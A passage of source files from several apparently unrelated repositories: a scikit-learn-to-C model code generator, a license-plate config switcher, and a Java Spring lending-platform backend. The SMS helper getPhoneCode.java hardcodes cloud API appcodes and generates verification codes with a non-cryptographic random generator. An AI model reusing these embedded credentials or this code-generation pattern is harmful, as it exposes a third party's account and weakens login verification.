# indent + "}\n" + indent + "else {\n" + \
# recurse(tree.children_right[node], depth + 1) + \
# indent + "}\n"
return indent + "if (x[%d] <= " % name + "%.10f" % threshold + ") {\n" + \
recurse(tree.children_left[node], depth + 1) + \
indent + "}\n" + indent + "else {\n" + \
recurse(tree.children_right[node], depth + 1) + \
indent + "}\n"
else:
return indent + 'return %s;\n' % str(self.clf.classes_[np.argmax(tree.value[node])])
return recurse(0, 1)
def generate(self):
with open('../examples/models/tree_model.c', 'w') as c_file:
c_file.write("int classify(double * x){\n%s};\n" % self.generate_statements())
```
README.md
```# FogML
Due to the development of IoT solutions, we can observe the constantly growing number of these devices in almost every aspect of our lives. The machine learning may improve increase their intelligence and smartness. Unfortunately, the highly regarded programming libraries consume to much resources to be ported to the embedded processors.
The structure of the project is as follows:
* the generators folder contains the source code generators for machine learning models i.e.: naive bayes, decision trees and neural nets;
* the demos folder contains the example MNIST digit recognition for Arduino board and the simple TFT touchscreen.
If you think that the project is interesting to you, please cite the paper:
_Tomasz Szydlo, Joanna Sendorek, Robert Brzoza-Woch, Enabling machine learning on resource constrained devices by source code generation of the learned models, ICCS 2018_
_The research was supported by the National Centre for Research and Development (NCBiR) under Grant No. LIDER/15/0144 /L-7/15/NCBR/2016._
```
moa_dataset.py
```import pandas
from sklearn import tree, naive_bayes
import numpy as np
from sklearn.neural_network import MLPClassifier
from sklearn.tree import export_graphviz
from generators.generator import GeneratorFactory
for data_chunk in pandas.read_csv('./mldata/dataset.arff', sep=',', chunksize=10 ** 6):
clf = tree.DecisionTreeClassifier()
# clf = naive_bayes.GaussianNB()
# clf = MLPClassifier(hidden_layer_sizes=(15,), random_state=34)
clf.fit(data_chunk.iloc[:, 0:5], data_chunk.iloc[:, 5:6])
factory = GeneratorFactory()
generator = factory.get_generator(clf)
generator.generate()
# print(clf.predict(np.array([0.3, 0.3, 0.4, 0.5, 0.6]).reshape(1, -1)))
print(clf.predict(np.array([5.7, 0.9, 0.4, 0.5, 0.6]).reshape(1, -1)))
export_graphviz(clf, out_file="tree.dot", max_depth=3,
filled=True, rotate=True, rounded=True
)
```
utils.py
```def generate_c_matrix(matrix):
result = "{\n"
for i in range(matrix.shape[0]):
result += "{"
for j in range(matrix.shape[1]):
result += "%.6f, " % matrix[i][j]
result += "},\n"
result += "}"
return result
def generate_c_array(array):
result = "{"
for i in range(len(array)):
result += "%.6f, " % array[i]
result += "}"
return result
def generate_c_function(function_body="", return_type="void", name="fun", args=""):
return "%s %s(%s){\n %s\n }; \n " % (return_type, name, args, function_body)
```
generator.py
```import sklearn
from generators.bayes_code_generator import BayesCodeGenerator
from generators.mlp_code_generator import MlpCodeGenerator
from generators.tree_code_generator import TreeCodeGenerator
class GeneratorFactory:
recognized_classifiers = {
sklearn.tree.tree.DecisionTreeClassifier: TreeCodeGenerator,
sklearn.naive_bayes.GaussianNB: BayesCodeGenerator,
sklearn.neural_network.MLPClassifier: MlpCodeGenerator
}
def get_generator(self, clf):
if clf.__class__ in self.recognized_classifiers.keys():
return self.recognized_classifiers[clf.__class__](clf)
else:
print("Sorry, but this is not recognized type of classifier")
return None
```
base_generator.py
```from abc import abstractmethod, ABC
class BaseGenerator(ABC):
@abstractmethod
def generate(self):
pass
```
bayes_code_generator.py
```import math
import numpy as np
import os
from generators.base_generator import BaseGenerator
class BayesCodeGenerator(BaseGenerator):
skeleton_path = 'skeletons/bayes_skeleton.txt'
def __init__(self, clf):
self.clf = clf
@staticmethod
def generate_c_matrix(matrix):
result = "{\n"
for i in range(matrix.shape[0]):
result += "{"
for j in range(matrix.shape[1]):
result += "%.6f, " % matrix[i][j]
result += "},\n"
result += "}"
return result
@staticmethod
def generate_c_array(array):
result = "{"
for i in range(len(array)):
result += "%.6f, " % array[i]
result += "}"
return result
def generate_sigma_code(self):
return self.generate_c_matrix(self.clf.sigma_)
def generate_theta_code(self):
return self.generate_c_matrix(self.clf.theta_)
def generate_log_sigma_code(self):
return self.generate_c_matrix(self.calculate_log_sigma())
def generate_log_priors_code(self):
return self.generate_c_array(self.calculate_log_priors())
def calculate_log_sigma(self):
log_sigma = np.copy(self.clf.sigma_)
for i in range(log_sigma.shape[0]):
for j in range(log_sigma.shape[1]):
log_sigma[i][j] = math.log(2 * math.pi * self.clf.sigma_[i][j])
return log_sigma
def calculate_log_priors(self):
log_priors = []
for prior in self.clf.class_prior_:
log_priors.append(math.log(prior))
return log_priors
def generate(self):
classes_num = len(self.clf.classes_)
features_num = self.clf.sigma_.shape[1]
with open(os.path.join(os.path.dirname(__file__), self.skeleton_path)) as skeleton:
code = skeleton.read()
code = code.replace('<classes>', str(classes_num))
code = code.replace('<features>', str(features_num))
code = code.replace('<sigma>', self.generate_sigma_code())
code = code.replace('<theta>', self.generate_theta_code())
code = code.replace('<log_sigma>', self.generate_log_sigma_code())
code = code.replace('<prior>', self.generate_log_priors_code())
with open('./models/bayes_model.c', 'w') as output_file:
output_file.write(code)
```
|
13528770807/python_script
|
13528770807/python_script
qiang.py
```#!/usr/bin/python3
import shutil
import sys
class Place:
def __init__(self, num):
self.num = num
self.place1 = './license_plate/ZABC255/lp_database.txt'
self.place2 = './license_plate/ZB53Y11/lp_database.txt'
self.place3 = './license_plate/ZC796YR/lp_database.txt'
self.place4 = './license_plate/ZD8789H/lp_database.txt'
self.place5 = './license_plate/HC05EV8/lp_database.txt'
self.placeAll = './license_plate/All/lp_database.txt'
self.destination = '../lpr_config/'
def change(self):
if self.num == '1':
print('禁止通行车辆:浙ABC255')
shutil.copy(self.place1, self.destination)
elif self.num == '2':
print('禁止通行车辆:浙B53Y11')
shutil.copy(self.place2, self.destination)
elif self.num == '3':
print('禁止通行车辆:浙C796YR')
shutil.copy(self.place3, self.destination)
elif self.num == '4':
print('禁止通行车辆:浙D8789H')
shutil.copy(self.place4, self.destination)
elif self.num == '5':
print('禁止通行车辆:沪C05EV8')
shutil.copy(self.place5, self.destination)
else:
print('全部通行')
shutil.copy(self.placeAll, self.destination)
if __name__ == "__main__":
num = sys.argv[1]
p = Place(num)
p.change()
```
change_lpr_data.sh
```main(){
if [ $1 -eq 1 ];then
echo "禁止通行车辆:浙ABC255"
cp ./license_plate/ZABC255/lp_database.txt ../lpr_config/
elif [ $1 -eq 2 ];then
echo '禁止通行车辆:浙B53Y11'
cp ./license_plate/ZB53Y11/lp_database.txt ../lpr_config/
elif [ $1 -eq 3 ];then
echo '禁止通行车辆:浙C796YR'
cp ./license_plate/ZC796YR/lp_database.txt ../lpr_config/
elif [ $1 -eq 4 ];then
echo '禁止通行车辆:浙D8789H'
cp ./license_plate/ZD8789H/lp_database.txt ../lpr_config/
elif [ $1 -eq 5 ];then
echo '禁止通行车辆:沪C05EV8'
cp ./license_plate/HC05EV8/lp_database.txt ../lpr_config/
else
echo '禁止通行车辆:None'
cp ./license_plate/All/lp_database.txt ../lpr_config/
fi
}
main $1
```
|
13548899356/p2p_L
|
13548899356/p2p_L
SysPowerServiceImpl.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.mapper.SysPowerMapper;
import com.zking.ssm.model.SysPower;
import com.zking.ssm.services.ISysPowerService;
import com.zking.ssm.util.PageBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class SysPowerServiceImpl implements ISysPowerService {
@Autowired
private SysPowerMapper sysPowerMapper;
public SysPowerServiceImpl() {
}
@Override
public int doRegister(SysPower sysPower) {
return sysPowerMapper.doRegister(sysPower);
}
@Override
public SysPower doLogin(SysPower sysPower) {
return sysPowerMapper.doLogin(sysPower);
}
@Override
public int updateByPrimaryKey(SysPower sysPower) {
return sysPowerMapper.updateByPrimaryKey(sysPower);
}
@Override
public int updateByPrimaryKeySelective(SysPower sysPower) {
return sysPowerMapper.updateByPrimaryKeySelective(sysPower);
}
/**
* 查询所有并分页
* @param sysPower
* @return
*/
@Override
public List<SysPower> list(SysPower sysPower, PageBean pageBean) {
List<SysPower> list = this.sysPowerMapper.list(sysPower);
// System.out.println(list.getClass());
return list;
}
@Override
public int deleteByPrimaryKey(SysPower sysPower) {
return sysPowerMapper.deleteByPrimaryKey(sysPower.getPid());
}
@Override
public SysPower selectByPrimaryKey(String pid) {
return sysPowerMapper.selectByPrimaryKey(pid);
}
@Override
public int insertSelective(SysPower sysPower) {
return sysPowerMapper.insertSelective(sysPower);
}
}
```
MoneyRecordController.java
```package com.zking.ssm.controller.front.user;
import com.zking.ssm.model.MoneyRecord;
import com.zking.ssm.services.IMoneyRecordService;
import com.zking.ssm.util.jsonData;
import com.zking.ssm.util.uuidUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
@RequestMapping("/MoneyRecord")
public class MoneyRecordController {
@Autowired
private IMoneyRecordService recordService;
@RequestMapping("/addMoneyRecord")
@ResponseBody
public Object addMoneyRecord(MoneyRecord moneyRecord){
moneyRecord.setId(uuidUtil.getUUID());
int i = recordService.insertSelective(moneyRecord);
if(i>0){
return jsonData.toJsonMessage("添加成功",true);
}else{
return jsonData.toJsonMessage("添加失败",false);
}
}
//查询单个用户的贷款信息
@RequestMapping("/getMoneyRecord")
@ResponseBody
public Object getMoneyRecord(MoneyRecord moneyRecord){
System.out.println("==============================================");
System.out.println(moneyRecord.getUid());
MoneyRecord moneyRecord1 = recordService.selectByPrimaryKey(moneyRecord.getUid());
return jsonData.toJsonObject(true,moneyRecord1);
}
}
```
DictionaryServiceImpl.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.mapper.DictionaryMapper;
import com.zking.ssm.model.Dictionary;
import com.zking.ssm.services.IDictionaryService;
import com.zking.ssm.util.PageBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class DictionaryServiceImpl implements IDictionaryService {
Dictionary dictionary=new Dictionary();
@Autowired
private DictionaryMapper dictionaryMapper;
@Override
public int deleteByPrimaryKey(Dictionary dictionary) {
return dictionaryMapper.deleteByPrimaryKey(dictionary);
}
@Override
public int insert(Dictionary record) {
return dictionaryMapper.insert(record);
}
@Override
public Dictionary selectByPrimaryKey(Dictionary dictionary) {
return dictionaryMapper.selectByPrimaryKey(dictionary);
}
@Override
public int updateByPrimaryKeySelective(Dictionary record) {
return dictionaryMapper.updateByPrimaryKeySelective(record);
}
@Override
public List<Dictionary> DictionaryList(Dictionary dictionary, PageBean pageBean) {
return dictionaryMapper.DictionaryList(dictionary);
}
@Override
public List<Object> TypeList() {
return((List)dictionaryMapper.TypeList());
}
@Override
public List<Dictionary> hdList(Dictionary dictionary) {
return dictionaryMapper.hdList(dictionary);
}
}
```
IdentityAuditServiceImpl.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.mapper.IdentityAuditMapper;
import com.zking.ssm.model.IdentityAudit;
import com.zking.ssm.services.IdentityAuditService;
import com.zking.ssm.util.PageBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class IdentityAuditServiceImpl implements IdentityAuditService {
@Autowired
private IdentityAuditMapper identityAuditMapper;
@Override
public int deleteByPrimaryKey(String id) {
return identityAuditMapper.deleteByPrimaryKey(id);
}
@Override
public int insert(IdentityAudit record) {
return identityAuditMapper.insert(record);
}
@Override
public int insertSelective(IdentityAudit record) {
return identityAuditMapper.insertSelective(record);
}
@Override
public IdentityAudit selectByPrimaryKey(String id) {
return identityAuditMapper.selectByPrimaryKey(id);
}
@Override
public int updateByPrimaryKeySelective(IdentityAudit record) {
return identityAuditMapper.updateByPrimaryKeySelective(record);
}
@Override
public int updateByPrimaryKey(IdentityAudit record) {
return identityAuditMapper.updateByPrimaryKey(record);
}
@Override
public List<IdentityAudit> listIdentity(IdentityAudit audit, PageBean pageBean) {
return identityAuditMapper.listIdentity(audit);
}
}
```
ILoanServiceTest.java
```package com.zking.ssm.services;
import com.zking.ssm.model.Loan;
import com.zking.ssm.model.Product;
import com.zking.ssm.model.sysUser;
import com.zking.ssm.services.impl.BaseTestCase;
import com.zking.ssm.util.PageBean;
import com.zking.ssm.util.uuidUtil;
import org.junit.Before;
import org.junit.Test;
import org.springframework.beans.factory.annotation.Autowired;
import java.util.ArrayList;
import java.util.List;
import static org.junit.Assert.*;
public class ILoanServiceTest extends BaseTestCase{
@Autowired
private ILoanService loanService;
@Autowired
private ISysUserService sysUserService;
@Autowired
private IProductService productService;
private Loan loan;
private PageBean pageBean;
private sysUser user;
private Product product;
@Before
public void setUp() throws Exception {
loan =new Loan();
pageBean=new PageBean();
user=new sysUser();
product=new Product();
}
@Test
public void deleteByPrimaryKey() {
loan.setId(uuidUtil.getUUID());
loanService.deleteByPrimaryKey(loan.getId());
}
@Test
public void insert() {
loan.setId(uuidUtil.getUUID());
loan.setUid("1");
loan.setPid("1");
loan.setState(0);
loan.setType(0);
loanService.insert(loan);
}
@Test
public void selectByPrimaryKey() {
loan.setId("09f1094eca0f487f9da9705e463b9e10");
System.out.println(loanService.selectByPrimaryKey(loan.getId()));
}
@Test
public void updateByPrimaryKeySelective() {
loan.setId("09f1094eca0f487f9da9705e463b9e10");
loan.setType(0);
loanService.updateByPrimaryKeySelective(loan);
}
@Test
public void listLoan() {
List<Loan> loans = loanService.ListLoan(loan,pageBean);
System.out.println(pageBean.getTotal());
List<Loan> list=new ArrayList<>();
for (Loan loan1:loans){
product.setId(loan1.getPid());
loan1.setProduct(productService.getProduct(product));
user.setUid(loan1.getUid());
loan1.setSysUser(sysUserService.getListUser(user,null).get(0));
list.add(loan1);
}
System.out.println(list);
}
}```
SystemMessage.java
```package com.zking.ssm.model;
import lombok.ToString;
import java.util.Date;
@ToString
public class SystemMessage {
private String id;
private String uid;
private String content;
private String title;
private Date releasetime;
public SystemMessage(String id, String uid, String content, String title, Date releasetime) {
this.id = id;
this.uid = uid;
this.content = content;
this.title = title;
this.releasetime = releasetime;
}
public SystemMessage() {
super();
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getUid() {
return uid;
}
public void setUid(String uid) {
this.uid = uid;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
public Date getReleasetime() {
return releasetime;
}
public void setReleasetime(Date releasetime) {
this.releasetime = releasetime;
}
}```
uuidUtil.java
```package com.zking.ssm.util;
import java.util.UUID;
public class uuidUtil {
//获取uuid的方法
public static String getUUID(){
String uuid= UUID.randomUUID().toString().replace("-","");
return uuid;
}
}
```
MoneyRecord.java
```package com.zking.ssm.model;
import lombok.ToString;
import java.math.BigDecimal;
import java.util.Date;
@ToString
public class MoneyRecord {
private String id;
private String uid;
private Date mrdate;
private String mrtype;
private BigDecimal mrmoney;
private BigDecimal usableamount;
private BigDecimal freezedamount;
private Integer installment;
private Integer repayment;
private String repaydate;
private Integer state;
private String mrremark;
public MoneyRecord(String id, String uid, Date mrdate, String mrtype, BigDecimal mrmoney, BigDecimal usableamount, BigDecimal freezedamount, Integer installment, Integer repayment, Date repaydate, Integer state, String mrremark) {
this.id = id;
this.uid = uid;
this.mrdate = mrdate;
this.mrtype = mrtype;
this.mrmoney = mrmoney;
this.usableamount = usableamount;
this.freezedamount = freezedamount;
this.installment = installment;
this.repayment = repayment;
this.state = state;
this.mrremark = mrremark;
}
public MoneyRecord() {
super();
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getUid() {
return uid;
}
public void setUid(String uid) {
this.uid = uid;
}
public Date getMrdate() {
return mrdate;
}
public void setMrdate(Date mrdate) {
this.mrdate = mrdate;
}
public String getMrtype() {
return mrtype;
}
public void setMrtype(String mrtype) {
this.mrtype = mrtype;
}
public BigDecimal getMrmoney() {
return mrmoney;
}
public void setMrmoney(BigDecimal mrmoney) {
this.mrmoney = mrmoney;
}
public BigDecimal getUsableamount() {
return usableamount;
}
public void setUsableamount(BigDecimal usableamount) {
this.usableamount = usableamount;
}
public BigDecimal getFreezedamount() {
return freezedamount;
}
public void setFreezedamount(BigDecimal freezedamount) {
this.freezedamount = freezedamount;
}
public Integer getInstallment() {
return installment;
}
public void setInstallment(Integer installment) {
this.installment = installment;
}
public Integer getRepayment() {
return repayment;
}
public void setRepayment(Integer repayment) {
this.repayment = repayment;
}
public String getRepaydate() {
return repaydate;
}
public void setRepaydate(String repaydate) {
this.repaydate = repaydate;
}
public Integer getState() {
return state;
}
public void setState(Integer state) {
this.state = state;
}
public String getMrremark() {
return mrremark;
}
public void setMrremark(String mrremark) {
this.mrremark = mrremark;
}
}```
IMoneyRecordService.java
```package com.zking.ssm.services;
import com.zking.ssm.model.MoneyRecord;
import org.springframework.transaction.annotation.Transactional;
@Transactional
public interface IMoneyRecordService {
int deleteByPrimaryKey(String id);
int insert(MoneyRecord record);
int insertSelective(MoneyRecord record);
MoneyRecord selectByPrimaryKey(String uid);
int updateByPrimaryKeySelective(MoneyRecord record);
int updateByPrimaryKey(MoneyRecord record);
}```
IplatFormBankInfoService.java
```package com.zking.ssm.services;
import com.zking.ssm.model.platFormBankInfo;
import java.util.List;
public interface IplatFormBankInfoService {
int deleteByPrimaryKey(String id);
int insert(platFormBankInfo record);
int insertSelective(platFormBankInfo record);
List<platFormBankInfo> selectByPrimaryKey(platFormBankInfo bankInfo);
int updateByPrimaryKeySelective(platFormBankInfo record);
int updateByPrimaryKey(platFormBankInfo record);
}```
getPhoneCode.java
```package com.zking.ssm.util;
import org.apache.http.HttpResponse;
import java.util.HashMap;
import java.util.Map;
import java.util.Random;
//获取手机验证码通用类
public class getPhoneCode {
public static String getCode(String phone){
String host = "http://dingxin.market.alicloudapi.com";
String path = "/dx/sendSms";
String method = "POST";
String appcode = "00025b5eedf445bf9c208b14bd2b8455";
Map<String, String> headers = new HashMap<String, String>();
//最后在header中的格式(中间是英文空格)为Authorization:APPCODE 83359fd73fe94948385f570e3c139105
headers.put("Authorization", "APPCODE " + appcode);
Map<String, String> querys = new HashMap<String, String>();
querys.put("mobile", phone);
// 验证码 随机。
Random random=new Random();
int a=random.nextInt(1000000);
querys.put("param", "code:"+a);
querys.put("tpl_id", "TP1711063");
Map<String, String> bodys = new HashMap<String, String>();
try {
HttpResponse response = HttpUtils.doPost(host, path, method, headers, querys, bodys);
System.out.println(response.toString());
//获取response的body
//System.out.println(EntityUtils.toString(response.getEntity()));
} catch (Exception e) {
e.printStackTrace();
}
//获取随机的验证码
return a+"";
}
}
```
BiddingMapper.java
```package com.zking.ssm.mapper;
import com.zking.ssm.model.Bidding;
import java.util.List;
public interface BiddingMapper {
int deleteByPrimaryKey(String id);
int insert(Bidding record);
int insertSelective(Bidding record);
Bidding selectByPrimaryKey(String id);
int updateByPrimaryKeySelective(Bidding record);
int updateByPrimaryKey(Bidding record);
//查询
List<Bidding> BiddingList(Bidding bidding);
//审核失败
int Update(Bidding bidding);
//审核成功
int Updatecg(Bidding bidding);
}```
SysUserServiceImpl.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.mapper.sysUserMapper;
import com.zking.ssm.model.sysUser;
import com.zking.ssm.services.ISysUserService;
import com.zking.ssm.util.PageBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class SysUserServiceImpl implements ISysUserService {
@Autowired
private sysUserMapper userMapper;
@Override
public int doRegister(sysUser user) {
return userMapper.doRegister(user);
}
//解绑手机号
@Override
public int updateUser(sysUser user) {
return 0;
}
@Override
public sysUser getUser(sysUser user) {
return userMapper.getUser(user);
}
@Override
public List<sysUser> getListUser(sysUser user, PageBean pageBean) {
return userMapper.getListUser(user);
}
}
```
Loan.java
```package com.zking.ssm.model;
import lombok.ToString;
@ToString
public class Loan {
private String id;
private String uid;
private String pid;
private Integer state;
private Integer type;
//多表联查
private sysUser sysUser;
private Product product;
public com.zking.ssm.model.sysUser getSysUser() {
return sysUser;
}
public void setSysUser(com.zking.ssm.model.sysUser sysUser) {
this.sysUser = sysUser;
}
public Product getProduct() {
return product;
}
public void setProduct(Product product) {
this.product = product;
}
public Loan(String id, String uid, String pid, Integer state, Integer type) {
this.id = id;
this.uid = uid;
this.pid = pid;
this.state = state;
this.type = type;
}
public Loan() {
super();
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getUid() {
return uid;
}
public void setUid(String uid) {
this.uid = uid;
}
public String getPid() {
return pid;
}
public void setPid(String pid) {
this.pid = pid;
}
public Integer getState() {
return state;
}
public void setState(Integer state) {
this.state = state;
}
public Integer getType() {
return type;
}
public void setType(Integer type) {
this.type = type;
}
}```
UserAccountMapper.java
```package com.zking.ssm.mapper;
import com.zking.ssm.model.UserAccount;
public interface UserAccountMapper {
int deleteByPrimaryKey(String id);
int insert(UserAccount record);
int insertSelective(UserAccount record);
UserAccount selectByPrimaryKey(String id);
int updateByPrimaryKeySelective(UserAccount record);
int updateByPrimaryKey(UserAccount record);
}```
SysPowerRole.java
```package com.zking.ssm.model;
import lombok.ToString;
@ToString
public class SysPowerRole {
private String powerid;
private String roleid;
public SysPowerRole(String powerid, String roleid) {
this.powerid = powerid;
this.roleid = roleid;
}
public SysPowerRole() {
super();
}
public String getPowerid() {
return powerid;
}
public void setPowerid(String powerid) {
this.powerid = powerid;
}
public String getRoleid() {
return roleid;
}
public void setRoleid(String roleid) {
this.roleid = roleid;
}
}```
jsonData.java
```package com.zking.ssm.util;
import java.util.HashMap;
import java.util.Map;
public class jsonData {
//将验证信息转为json
public static Map toJsonMessage(String msg,boolean success){
Map<String,Object> map=new HashMap<>();
map.put("msg",msg);
map.put("success",success);
return map;
}
//将查询分页数据转为json
public static Map toJsonPager(String msg,boolean success,int total,Object data){
Map<String,Object> json=new HashMap<>();
json.put("msg", msg);
json.put("success", success);
json.put("total", total);
json.put("data", data);
return json;
}
//
public static Map toJsonObject(boolean success,Object data){
Map<String,Object> json=new HashMap<>();
json.put("success", success);
json.put("data", data);
return json;
}
}
```
SysPowerMapper.java
```package com.zking.ssm.mapper;
import com.zking.ssm.model.SysPower;
import java.util.List;
public interface SysPowerMapper {
//注册
int doRegister(SysPower sysPower);
//登录
SysPower doLogin(SysPower sysPower);
//修改个人全部信息
int updateByPrimaryKey(SysPower sysPower);
//选择型修改个人信息 单个修改
int updateByPrimaryKeySelective(SysPower sysPower);
//查看所有的员工并进行分页 还可以根据员工昵称模糊查询
List<SysPower> list(SysPower sysPower);
//删除一个员工
int deleteByPrimaryKey(String pid);
//查看单个员工
SysPower selectByPrimaryKey(String pid);
int insertSelective(SysPower sysPower);
}```
ISysPowerRoleService.java
```package com.zking.ssm.services;
import com.zking.ssm.model.SysPowerRole;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
@Transactional
public interface ISysPowerRoleService {
//根据角色ID和用户ID查看
SysPowerRole selectSysPowerRoleByRoleId(SysPowerRole sysPowerRole);
int insert(SysPowerRole record);
int insertSelective(SysPowerRole record);
}```
IdentityAudit.java
```package com.zking.ssm.model;
import lombok.ToString;
import java.util.List;
@ToString
public class IdentityAudit {
private String id;
private String uid;
private String uname;
private String usex;
private String identity;
private String image1;
private String image2;
private String message;
private Integer state;
private List<sysUser> sysUsers;
public List<sysUser> getSysUsers() {
return sysUsers;
}
public void setSysUsers(List<sysUser> sysUsers) {
this.sysUsers = sysUsers;
}
public IdentityAudit(String id, String uid, String uname, String usex, String identity, String image1, String image2, String message, Integer state) {
this.id = id;
this.uid = uid;
this.uname = uname;
this.usex = usex;
this.identity = identity;
this.image1 = image1;
this.image2 = image2;
this.message = message;
this.state = state;
}
public IdentityAudit() {
super();
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getUid() {
return uid;
}
public void setUid(String uid) {
this.uid = uid;
}
public String getUname() {
return uname;
}
public void setUname(String uname) {
this.uname = uname;
}
public String getUsex() {
return usex;
}
public void setUsex(String usex) {
this.usex = usex;
}
public String getIdentity() {
return identity;
}
public void setIdentity(String identity) {
this.identity = identity;
}
public String getImage1() {
return image1;
}
public void setImage1(String image1) {
this.image1 = image1;
}
public String getImage2() {
return image2;
}
public void setImage2(String image2) {
this.image2 = image2;
}
public String getMessage() {
return message;
}
public void setMessage(String message) {
this.message = message;
}
public Integer getState() {
return state;
}
public void setState(Integer state) {
this.state = state;
}
}```
userIdentityServiceImpl.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.mapper.userIdentityMapper;
import com.zking.ssm.model.userIdentity;
import com.zking.ssm.services.IuserIdentityService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class userIdentityServiceImpl implements IuserIdentityService {
@Autowired
private userIdentityMapper identityMapper;
@Override
public int insert(userIdentity record) {
return identityMapper.insert(record);
}
@Override
public userIdentity getIdentity(userIdentity identity) {
return identityMapper.getIdentity(identity);
}
@Override
public int updateIdentity( String phone) {
return identityMapper.updateIdentity(phone);
}
@Override
public List<userIdentity> getListIdentity(userIdentity identity) {
return null;
}
@Override
public int updateIdentitySelectKey(userIdentity identity) {
return identityMapper.updateIdentitySelectKey(identity);
}
}
```
ISysPowerService.java
```package com.zking.ssm.services;
import com.zking.ssm.model.SysPower;
import com.zking.ssm.util.PageBean;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
@Transactional
public interface ISysPowerService {
//注册
int doRegister(SysPower sysPower);
//登录
SysPower doLogin(SysPower sysPower);
//修改个人全部信息
int updateByPrimaryKey(SysPower sysPower);
//选择型修改个人信息 单个修改
int updateByPrimaryKeySelective(SysPower sysPower);
//查看所有的员工并进行分页 还可以根据员工昵称模糊查询
List<SysPower> list(SysPower sysPower, PageBean pageBean);
//删除一个员工
int deleteByPrimaryKey(SysPower sysPower);
//查看单个员工
SysPower selectByPrimaryKey(String pid);
int insertSelective(SysPower sysPower);
}
```
sysPower.java
```package com.zking.ssm.model;
import lombok.Data;
import java.util.Date;
@Data
public class sysPower {
private String pid;
private String nikename;
private String pname;
private String password;
private Date createdate;
private Integer locked;
}```
MoneyRecordServiceImpl.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.mapper.MoneyRecordMapper;
import com.zking.ssm.model.MoneyRecord;
import com.zking.ssm.services.IMoneyRecordService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service
public class MoneyRecordServiceImpl implements IMoneyRecordService {
@Autowired
private MoneyRecordMapper recordMapper;
@Override
public int deleteByPrimaryKey(String id) {
return recordMapper.deleteByPrimaryKey(id);
}
@Override
public int insert(MoneyRecord record) {
return recordMapper.insert(record);
}
@Override
public int insertSelective(MoneyRecord record) {
return recordMapper.insertSelective(record);
}
@Override
public MoneyRecord selectByPrimaryKey(String uid) {
return recordMapper.selectByPrimaryKey(uid);
}
@Override
public int updateByPrimaryKeySelective(MoneyRecord record) {
return recordMapper.updateByPrimaryKeySelective(record);
}
@Override
public int updateByPrimaryKey(MoneyRecord record) {
return recordMapper.updateByPrimaryKey(record);
}
}
```
LoanController.java
```package com.zking.ssm.controller.back.audit;
import com.zking.ssm.model.Dictionary;
import com.zking.ssm.model.Loan;
import com.zking.ssm.model.Product;
import com.zking.ssm.model.sysUser;
import com.zking.ssm.services.IDictionaryService;
import com.zking.ssm.services.ILoanService;
import com.zking.ssm.services.IProductService;
import com.zking.ssm.services.ISysUserService;
import com.zking.ssm.util.PageBean;
import com.zking.ssm.util.uuidUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import com.zking.ssm.util.jsonData;
import java.util.ArrayList;
import java.util.List;
@Controller
@RequestMapping("/loan")
public class LoanController {
@Autowired
private ILoanService loanService;
@Autowired
private IProductService productService;
@Autowired
private ISysUserService sysUserService;
@Autowired
private IDictionaryService dictionaryService;
@RequestMapping("/List")
@ResponseBody
public Object List(Loan loan,PageBean pageBean){
List<Loan> loans = loanService.ListLoan(loan,pageBean);
List<Loan> list=new ArrayList<>();
System.out.println(pageBean.getTotal());
sysUser user=new sysUser();
Product product=new Product();
for (Loan loan1:loans){
user.setUid(loan1.getUid());
loan1.setSysUser(sysUserService.getListUser(user,null).get(0));
product.setId(loan1.getPid());
loan1.setProduct(productService.getProduct(product));
list.add(loan1);
}
return jsonData.toJsonPager("",true,loans.size(),list);
}
@RequestMapping("/TypeList")
@ResponseBody
public Object TypeList(Dictionary dictionary){
List<Dictionary> dictionaries = dictionaryService.hdList(dictionary);
return jsonData.toJsonObject(true,dictionaries);
}
//添加贷款认证
@RequestMapping("/addLoan")
@ResponseBody
public Object addLoan(Loan loan){
loan.setId(uuidUtil.getUUID());
int n = loanService.insert(loan);
if(n>0){
return jsonData.toJsonMessage("贷款项目审核提交成功",true);
}else{
return jsonData.toJsonMessage("",false);
}
}
//查询该用户所认证的项目
@RequestMapping("/lookLoanByUser")
@ResponseBody
public Object lookLoanByUser(Loan loan){
List<Loan> loans = loanService.ListLoan(loan, null);
if(loans.size()!=0){
return jsonData.toJsonObject(true,loans);
}else{
return jsonData.toJsonMessage("",false);
}
}
//审核失败
@RequestMapping("/Update")
@ResponseBody
public Object Update(Loan loan){
int update = loanService.Update(loan);
return jsonData.toJsonObject(true,update);
}
//审核成功
@RequestMapping("/updatecg")
@ResponseBody
public Object updatecg(Loan loan){
int update = loanService.Updatecg(loan);
return jsonData.toJsonObject(true,update);
}
}
```
DictionaryController.java
```package com.zking.ssm.controller.back.system;
import com.zking.ssm.model.Dictionary;
import com.zking.ssm.model.sysUser;
import com.zking.ssm.services.IDictionaryService;
import com.zking.ssm.util.PageBean;
import com.zking.ssm.util.jsonData;
